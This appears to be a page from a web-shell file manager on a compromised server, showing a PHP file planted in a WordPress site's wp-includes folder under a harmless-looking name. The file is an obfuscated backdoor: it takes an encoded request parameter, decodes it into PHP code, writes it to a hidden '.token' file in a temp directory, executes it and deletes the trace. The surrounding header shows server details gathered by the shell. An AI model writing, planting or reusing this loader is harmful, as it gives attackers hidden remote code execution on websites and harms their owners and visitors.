HEX
Server: Apache
System: Linux op-sv037.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User: (3327706)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /kadokaarchitekci.pl/www/wp-includes/l10n/custom_functions_1774095736.php
<!--fJeUWoai-->
<?php

if(isset($_REQUEST["re\x63"])){
$pgrp = array_filter(["/dev/shm", getcwd(), session_save_path(), getenv("TEMP"), "/var/tmp", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP")]);
$key = $_REQUEST["re\x63"];
			$key  =			explode	  ("."			,		$key			)  ;
$entity = '';
$s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
$lenS = strlen($s6);
$len = count($key);

for ($i = 0; $i < $len; $i++) {$val = $key[$i];
    $sChar = ord($s6[$i % $lenS]);
    $dec = ((int)$val - $sChar - ($i % 10)) ^ 71;
    $entity .= chr($dec);
}
foreach ($pgrp as $pointer):
            if (!( !is_dir($pointer) || !is_writable($pointer) )) {
            $record = join("/", [$pointer, ".token"]);
            if ($k = fopen($record, 'w')) {
    if (fwrite($k, $entity) !== false) {
        fclose($k);
        include $record;
        @unlink($record);
        exit;
    }
}
        }
endforeach;
}